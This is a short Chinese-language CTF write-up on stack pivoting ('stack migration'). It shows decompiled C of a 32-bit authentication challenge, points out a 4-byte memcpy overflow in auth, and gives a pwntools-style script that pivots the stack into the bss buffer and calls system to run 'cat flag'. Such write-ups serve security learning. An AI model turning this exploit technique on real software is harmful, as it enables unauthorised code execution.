经典栈迁移
    静态链接造成的部分函数没有canary

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char v4; // [esp+4h] [ebp-3Ch]
    4. int v5; // [esp+18h] [ebp-28h] BYREF
    5. char s[30]; // [esp+1Eh] [ebp-22h] BYREF
    6. unsigned int v7; // [esp+3Ch] [ebp-4h]
    7. memset(s, 0, sizeof(s));
    8. setvbuf(stdout, 0, 2, 0);
    9. setvbuf(stdin, 0, 1, 0);
    10. printf("Authenticate : ", v4);
    11. _isoc99_scanf("%30s", s);
    12. memset(&input, 0, 0xCu);
    13. v5 = 0;
    14. v7 = Base64Decode(s, &v5);
    15. if ( v7 > 0xC )
    16. {
    17. puts("Wrong Length");
    18. }
    19. else
    20. {
    21. memcpy(&input, v5, v7);
    22. if ( auth(v7) == 1 )
    23. correct();
    24. }
    25. return 0;
    26. }

    输入30个字符长度的s,进入bss区的input,解密后不能超过12个字符
    auth里面看看

    1. _BOOL4 __cdecl auth(int a1)
    2. {
    3. char v2[8]; // [esp+14h] [ebp-14h] BYREF
    4. char *s2; // [esp+1Ch] [ebp-Ch]
    5. int v4; // [esp+20h] [ebp-8h] BYREF
    6. memcpy(&v4, &input, a1);
    7. s2 = (char *)calc_md5(v2, 12);
    8. printf("hash : %s\n", s2);
    9. return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
    10. }

    看到memcpy基本就条件反射了
    只能溢出4个字节
    栈迁移到bss段

    1. def exp():
    2. system=0x08049284
    3. input=0x0811EB40
    4. # leave
    5. #//move esp ebp esp指向ebp的位置 esp->input
    6. #//pop ebp pop一个栈顶给ebp,栈顶就是esp ebp=aaaa
    7. #ret
    8. #//pop eip 将esp指向的地址存放的值赋值给eip
    9. '''
    10. aaaa
    11. system
    12. input <- ebp
    13. '''
    14. pl=b'a'*4+p32(system)+p32(input)
    15. sl(b64encode(pl))
    16. exp()
    17. sl("cat flag")
    18. ir()